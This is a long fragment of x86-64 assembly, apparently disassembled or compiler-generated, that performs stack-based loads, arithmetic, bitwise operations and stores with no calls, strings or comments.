movzx eax, byte [rax]
mov byte [rsp + 0x151], al
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x5f30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x62], al
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68a8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc50], ax
lea rax, [rsp + 0x2c0c]
mov qword [rsp + 0x7300], rax
mov rax, qword [rsp + 0x5378]
mov ecx, dword [rsp + 0x2ec8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bc4], eax
lea rax, [0x140113008]
mov qword [rsp + 0x7308], rax
mov rax, qword [rsp + 0x59c0]
mov rcx, qword [rsp + 0x5fd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5448]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e20]
movzx eax, word [rax]
mov word [0x140114698], ax
mov rax, qword [rsp + 0x63d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x980]
sub eax, ecx
mov word [rsp + 0xa74], ax
movzx eax, word [rsp + 0xb94]
mov word [rsp + 0xd08], ax
movzx eax, word [rsp + 0x9b4]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b48]
mov word [rcx], ax
lea rax, [rsp + 0xd7]
mov qword [rsp + 0x7310], rax
mov rax, qword [rsp + 0x5cf0]
mov rcx, qword [rsp + 0x5e68]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6958]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov eax, dword [rax]
mov dword [rsp + 0x2fa0], eax
mov rax, qword [rsp + 0x5a70]
mov rcx, qword [rsp + 0x51d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5928], rax
mov rax, qword [rsp + 0x4b08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c4c]
shr eax, cl
mov dword [rsp + 0x2b20], eax
mov rax, qword [rsp + 0x6dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x68b8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1401143d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6438]
movzx eax, byte [rax]
mov byte [rsp + 0x152], al
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5c60]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
movzx eax, byte [rsp + 0xc4]
mov byte [rsp + 0x153], al
mov rax, qword [rsp + 0x61e8]
movzx eax, word [rax]
mov rcx, qword [0x1401145d0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5c00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f98]
mov rcx, qword [rsp + 0x4f38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6b58]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5b60]
mov eax, dword [rax]
mov dword [rsp + 0x2fa4], eax
mov rax, qword [rsp + 0x5140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d78]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6c50]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6bc0]
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0x6280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d]
add eax, ecx
mov rcx, qword [rsp + 0x5878]
mov byte [rcx], al
movsx eax, byte [0x140113053]
movsx ecx, byte [rsp + 0x12d]
sub eax, ecx
mov rcx, qword [0x140114668]
mov byte [rcx], al
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x974]
add eax, ecx
mov word [rsp + 0xb7c], ax
movzx eax, word [rsp + 0xa88]
mov word [rsp + 0xd0c], ax
mov rax, qword [rsp + 0x6dc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5528]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5bf0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2a4c]
mov dword [rsp + 0x2fa8], eax
mov rax, qword [rsp + 0x5f38]
mov rcx, qword [rsp + 0x63a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5488]
mov qword [rcx], rax
lea rax, [rsp + 0x69f0]
mov qword [rsp + 0x7320], rax
mov rax, qword [rsp + 0x7150]
mov rcx, qword [rsp + 0x4fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5248]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x35]
movzx ecx, byte [rsp + 0x8f]
sub eax, ecx
mov rcx, qword [rsp + 0x4f30]
mov byte [rcx], al
mov rax, qword [0x140114438]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xba]
sub eax, ecx
mov byte [0x140113077], al
lea rax, [rsp + 0x114]
mov qword [rsp + 0x7328], rax
mov rax, qword [rsp + 0x5f30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
shl eax, cl
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov word [rsp + 0xd10], ax
mov rax, qword [rsp + 0x5d08]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2bc8]
shr eax, cl
mov dword [rsp + 0x2f04], eax
mov rax, qword [rsp + 0x5900]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6328]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7068]
mov eax, dword [rax]
mov dword [rsp + 0x2fac], eax
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6bc8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x6538], rax
lea rax, [rsp + 0xa9]
mov qword [rsp + 0x7330], rax
mov rax, qword [0x140114590]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc5]
and eax, ecx
mov rcx, qword [0x140114178]
mov byte [rcx], al
movzx eax, word [rsp + 0xa4c]
movzx ecx, word [rsp + 0xc60]
sub eax, ecx
mov word [rsp + 0x958], ax
movsx eax, word [rsp + 0xcb8]
mov rcx, qword [0x140114218]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc30], ax
lea rax, [rsp + 0xcd4]
mov qword [rsp + 0x7338], rax
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x67c0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6390]
mov qword [rcx], rax
lea rax, [0x140114150]
mov qword [rsp + 0x7340], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x6930]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5410], rax
mov rax, qword [rsp + 0x5a20]
mov rcx, qword [rsp + 0x5330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2e0c], eax
lea rax, [rsp + 0xac0]
mov qword [rsp + 0x7348], rax
lea rax, [rsp + 0xab]
mov qword [0x1401146a0], rax
mov rax, qword [rsp + 0x5fc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f08]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x123], al
lea rax, [rsp + 0x9d0]
mov qword [rsp + 0x7350], rax
movzx eax, word [0x140113038]
mov rcx, qword [rsp + 0x70c8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc1c], ax
movzx eax, word [rsp + 0xc58]
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x5a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b60]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2f94], eax
mov rax, qword [rsp + 0x6258]
mov rcx, qword [rsp + 0x6fb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x55b0], rax
lea rax, [rsp + 0x2ce0]
mov qword [rsp + 0x7358], rax
mov rax, qword [rsp + 0x6df0]
mov rcx, qword [rsp + 0x4db8]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5488]
mov qword [rcx], rax
mov rax, qword [rsp + 0x58f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6318]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14011307a], al
lea rax, [rsp + 0xbb]
mov qword [rsp + 0x7360], rax
movsx eax, word [rsp + 0xce4]
mov rcx, qword [rsp + 0x5a10]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x8c8], ax
movzx eax, word [rsp + 0x99c]
mov rcx, qword [rsp + 0x7170]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6988]
mov word [rcx], ax
lea rax, [rsp + 0x978]
mov qword [rsp + 0x7368], rax
mov eax, dword [rsp + 0x2b20]
mov ecx, dword [rsp + 0x2af0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x69c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b90]
mov rax, qword [rax]
mov qword [rsp + 0x7370], rax
mov rax, qword [rsp + 0x71b8]
mov rcx, qword [rsp + 0x67a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5910]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5db8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x6e50]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113037], al
mov rax, qword [rsp + 0x50a0]
movzx eax, word [rax]
mov word [rsp + 0xd18], ax
movzx eax, word [rsp + 0x9fc]
mov rcx, qword [rsp + 0x70a8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6bd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6b18]
movzx eax, byte [rax]
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4c70]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x50f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x4c00]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x2d1c]
mov qword [rsp + 0x7378], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2aec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2edc], eax
mov rax, qword [rsp + 0x5fa0]
mov rax, qword [rax]
mov qword [rsp + 0x7380], rax
movzx eax, byte [rsp + 0x122]
movzx ecx, byte [rsp + 0xac]
and eax, ecx
mov rcx, qword [0x140114408]
mov byte [rcx], al
mov rax, qword [rsp + 0x6898]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ed0]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
lea rax, [0x140113068]
mov qword [rsp + 0x7388], rax
movzx eax, word [rsp + 0x9f0]
movzx ecx, word [rsp + 0x9fc]
shl eax, cl
mov rcx, qword [rsp + 0x5e18]
mov word [rcx], ax
movsx eax, byte [rsp + 0x71]
mov rcx, qword [rsp + 0x6eb0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x6a90]
mov eax, dword [rax]
mov dword [rsp + 0x2fb0], eax
mov rax, qword [rsp + 0x5e50]
mov rcx, qword [rsp + 0x7000]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x64b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5ed8]
mov qword [rsp + 0x7390], rax
mov eax, dword [rsp + 0x2ec0]
mov ecx, dword [0x140114150]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e70], eax
movsx eax, word [rsp + 0xa04]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113100], ax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x14b]
and eax, ecx
mov byte [rsp + 0x9b], al
mov rax, qword [rsp + 0x5148]
movzx eax, word [rax]
mov word [rsp + 0xd1c], ax
movsx eax, byte [rsp + 0x11c]
movsx ecx, byte [rsp + 0xc1]
add eax, ecx
mov byte [rsp + 0x8a], al
mov rax, qword [rsp + 0x4f60]
movzx eax, byte [rax]
mov byte [rsp + 0x155], al
mov rax, qword [rsp + 0x6590]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5a08]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x62e0], rax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5df8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6d38]
mov qword [rcx], rax
lea rax, [rsp + 0x2e68]
mov qword [rsp + 0x7398], rax
mov rax, qword [rsp + 0x6550]
mov ecx, dword [rsp + 0x2bb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2c5c], eax
lea rax, [rsp + 0xc6]
mov qword [0x1401146a8], rax
lea rax, [rsp + 0xb38]
mov qword [rsp + 0x73a0], rax
mov rax, qword [rsp + 0x5a18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8f8]
sub eax, ecx
mov rcx, qword [rsp + 0x4b68]
mov word [rcx], ax
mov rax, qword [rsp + 0x6718]
movzx eax, byte [rax]
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6da8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x82], al
mov rax, qword [rsp + 0x5bd0]
mov ecx, dword [rsp + 0x2c18]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x55a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e50]
mov rax, qword [rax]
mov qword [rsp + 0x73a8], rax
mov rax, qword [rsp + 0x4e48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cf0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b70], eax
lea rax, [0x140113008]
mov qword [rsp + 0x73b0], rax
movzx eax, word [rsp + 0xcc4]
mov rcx, qword [rsp + 0x6a50]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140113064], ax
movsx eax, word [rsp + 0x88c]
movsx ecx, word [rsp + 0x8c4]
shl eax, cl
mov word [rsp + 0x9d4], ax
mov rax, qword [0x1401144a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6878]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6438]
mov byte [rcx], al
lea rax, [rsp + 0x8e4]
mov qword [rsp + 0x73b8], rax
mov rax, qword [rsp + 0x50b8]
movsx eax, byte [rax]
mov rcx, qword [0x140114390]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x5520]
mov eax, dword [rax]
mov dword [rsp + 0x2fb4], eax
mov rax, qword [rsp + 0x6e20]
mov ecx, dword [rsp + 0x2b28]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5478]
mov dword [rcx], eax
mov rax, qword [rsp + 0x64d8]
mov rcx, qword [rsp + 0x54c8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x67e8], rax
lea rax, [rsp + 0x6858]
mov qword [rsp + 0x73c0], rax
movsx eax, word [rsp + 0xa40]
mov rcx, qword [rsp + 0x68f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140113058], ax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaec]
sub eax, ecx
mov rcx, qword [rsp + 0x7078]
mov word [rcx], ax
movzx eax, byte [rsp + 0x6d]
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7270]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc48], ax
movsx eax, byte [rsp + 0xbc]
mov rcx, qword [0x140114440]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov byte [rcx], al
mov rax, qword [rsp + 0x7090]
mov eax, dword [rax]
mov dword [rsp + 0x2fb8], eax
mov rax, qword [rsp + 0x4dd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2df4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x66f8]
mov rax, qword [rax]
mov qword [rsp + 0x73c8], rax
mov rax, qword [rsp + 0x5b08]
mov rcx, qword [rsp + 0x57c0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5ff8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x884]
mov word [rsp + 0xd20], ax
movzx eax, byte [rsp + 0x118]
mov byte [0x140114235], al
mov rax, qword [0x1401142f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x66d0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x5d60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x878]
sub eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x6988]
movzx eax, word [rax]
mov word [rsp + 0xd24], ax
mov rax, qword [rsp + 0x7308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59a0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7098]
mov qword [rcx], rax
lea rax, [rsp + 0x6b10]
mov qword [rsp + 0x73d0], rax
mov eax, dword [rsp + 0x29bc]
movzx ecx, al
mov eax, dword [rsp + 0x2cec]
sar eax, cl
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x50e8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b70]
shl eax, cl
mov dword [rsp + 0x2f60], eax
lea rax, [rsp + 0x148]
mov qword [rsp + 0x73d8], rax
lea rax, [rsp + 0xaf4]
mov qword [0x1401146b0], rax
movsx eax, byte [0x140114225]
mov rcx, qword [rsp + 0x6318]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x55], al
lea rax, [rsp + 0x984]
mov qword [rsp + 0x73e0], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0x878]
and eax, ecx
mov word [rsp + 0x9c4], ax
mov rax, qword [rsp + 0x66b0]
mov rcx, qword [rsp + 0x59e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x73c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov qword [rsp + 0x73e8], rax
mov rax, qword [rsp + 0x5840]
mov rcx, qword [rsp + 0x51a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d64], eax
lea rax, [rsp + 0x2efc]
mov qword [rsp + 0x73f0], rax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x148]
add eax, ecx
mov rcx, qword [rsp + 0x6f88]
mov byte [rcx], al
mov rax, qword [rsp + 0x51c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5620]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401143b8]
mov word [rcx], ax
movzx eax, word [0x1401130d8]
mov word [rsp + 0xd28], ax
movzx eax, byte [rsp + 0x48]
movzx ecx, byte [rsp + 0x54]
and eax, ecx
mov byte [rsp + 0x60], al
movsx eax, byte [rsp + 0xbe]
mov rcx, qword [rsp + 0x6a30]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6378]
mov byte [rcx], al
lea rax, [0x140114150]
mov qword [rsp + 0x73f8], rax
mov rax, qword [rsp + 0x5180]
mov rcx, qword [rsp + 0x64b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x68f0]
mov qword [rcx], rax
lea rax, [rsp + 0x5fb8]
mov qword [rsp + 0x7400], rax
mov eax, dword [rsp + 0x2d28]
mov ecx, dword [rsp + 0x2e10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b50], eax
mov rax, qword [rsp + 0x7170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb4c]
add eax, ecx
mov word [rsp + 0x844], ax
mov rax, qword [rsp + 0x6458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7388]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x140114530]
mov word [rcx], ax
mov rax, qword [rsp + 0x7218]
movzx eax, byte [rax]
mov byte [rsp + 0x158], al
mov rax, qword [rsp + 0x5578]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8d]
xor eax, ecx
mov byte [rsp + 0x67], al
lea rax, [rsp + 0x89]
mov qword [rsp + 0x7408], rax
movzx eax, byte [0x140113017]
movzx ecx, byte [rsp + 0x14f]
or eax, ecx
mov byte [rsp + 0x66], al
mov rax, qword [rsp + 0x7178]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6a40]
mov qword [rsp + 0x7410], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7410]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5400]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5840]
mov eax, dword [rax]
mov dword [rsp + 0x2fbc], eax
mov rax, qword [rsp + 0x5f50]
mov rcx, qword [0x140114160]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6a70]
mov eax, dword [rax]
mov dword [rsp + 0x2fc0], eax
movsx eax, byte [rsp + 0x87]
mov rcx, qword [rsp + 0x6da8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x14011307b], al
mov rax, qword [rsp + 0x6bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
sub eax, ecx
mov word [rsp + 0xa0c], ax
mov rax, qword [rsp + 0x6370]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6990]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x67c8]
mov word [rcx], ax
mov rax, qword [0x140114648]
movzx eax, byte [rax]
mov byte [rsp + 0x159], al
movzx eax, byte [rsp + 0x5b]
movzx ecx, byte [rsp + 0xb3]
add eax, ecx
mov rcx, qword [rsp + 0x6468]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
mov eax, dword [rax]
mov dword [rsp + 0x2fc4], eax
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5380], rax
mov rax, qword [rsp + 0x58c0]
mov qword [rsp + 0x7418], rax
mov eax, dword [rsp + 0x2e7c]
mov ecx, dword [rsp + 0x2e64]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5460]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb0c]
mov rcx, qword [rsp + 0x5908]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113104], ax
mov rax, qword [rsp + 0x6fe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5490]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6138]
mov byte [rcx], al
lea rax, [rsp + 0xa18]
mov qword [rsp + 0x7420], rax
mov rax, qword [0x1401143d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbcc]
sub eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov word [rcx], ax
lea rax, [rsp + 0xc04]
mov qword [rsp + 0x7428], rax
mov eax, dword [rsp + 0x2e14]
mov ecx, dword [rsp + 0x2ee4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ea8], eax
mov rax, qword [rsp + 0x5550]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6550]
mov qword [rsp + 0x7430], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7430]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2d34], eax
lea rax, [rsp + 0x5808]
mov qword [rsp + 0x7438], rax
mov rax, qword [rsp + 0x5fb8]
movzx ecx, al
mov rax, qword [rsp + 0x62c8]
shr rax, cl
mov qword [rsp + 0x7050], rax
mov rax, qword [rsp + 0x5990]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x74]
xor eax, ecx
mov byte [0x14011307b], al
movzx eax, word [rsp + 0x98c]
mov word [rsp + 0xd2c], ax
movzx eax, word [rsp + 0xcfc]
mov rcx, qword [rsp + 0x5e70]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [0x140114248]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x90]
sub eax, ecx
mov rcx, qword [rsp + 0x5360]
mov byte [rcx], al
movzx eax, byte [rsp + 0x155]
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x70e0]
mov rcx, qword [rsp + 0x5c20]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6f48], rax
lea rax, [rsp + 0x4db8]
mov qword [rsp + 0x7440], rax
mov eax, dword [rsp + 0x2a20]
mov ecx, dword [rsp + 0x2aec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5c40]
mov rcx, qword [rsp + 0x5c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5d08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6850]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f10]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401143c8], ax
lea rax, [rsp + 0xbd]
mov qword [rsp + 0x7448], rax
mov rax, qword [rsp + 0x6558]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6cb0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xba], al
movzx eax, word [rsp + 0xb08]
mov word [rsp + 0xd30], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x87]
and eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x5860]
mov qword [rsp + 0x7450], rax
mov rax, qword [rsp + 0x6350]
mov rcx, qword [rsp + 0x5db8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6a20], rax
mov rax, qword [rsp + 0x65b0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2c3c]
shl eax, cl
mov dword [rsp + 0x2c78], eax
lea rax, [rsp + 0x2dcc]
mov qword [rsp + 0x7458], rax
movzx eax, word [rsp + 0x8b4]
mov word [0x1401146b8], ax
mov rax, qword [rsp + 0x6358]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcec]
sar eax, cl
mov rcx, qword [rsp + 0x4fa8]
mov word [rcx], ax
lea rax, [rsp + 0x13a]
mov qword [rsp + 0x7460], rax
mov rax, qword [0x1401144a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6ef8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x142], al
movzx eax, word [rsp + 0xa5c]
mov rcx, qword [rsp + 0x5c98]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcfc], ax
lea rax, [rsp + 0x2b04]
mov qword [rsp + 0x7468], rax
mov rax, qword [rsp + 0x4e60]
mov rcx, qword [0x140113008]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b28], rax
mov rax, qword [rsp + 0x6be0]
mov qword [rsp + 0x7470], rax
mov rax, qword [rsp + 0x7010]
mov rcx, qword [rsp + 0x5c28]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2f34], eax
mov rax, qword [0x140114598]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x31]
sub eax, ecx
mov byte [0x14011307e], al
movsx eax, byte [rsp + 0x32]
movsx ecx, byte [rsp + 0xf0]
sub eax, ecx
mov rcx, qword [rsp + 0x5d88]
mov byte [rcx], al
lea rax, [rsp + 0x98c]
mov qword [rsp + 0x7478], rax
mov rax, qword [rsp + 0x6b38]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd30]
add eax, ecx
mov rcx, qword [rsp + 0x53d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0xd34], ax
mov rax, qword [rsp + 0x6e68]
mov rcx, qword [rsp + 0x64b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x50b0]
mov qword [rcx], rax
lea rax, [rsp + 0x2de8]
mov qword [rsp + 0x7480], rax
mov rax, qword [rsp + 0x62e8]
mov ecx, dword [rsp + 0x2ba8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b38], eax
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5ed8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x5300], rax
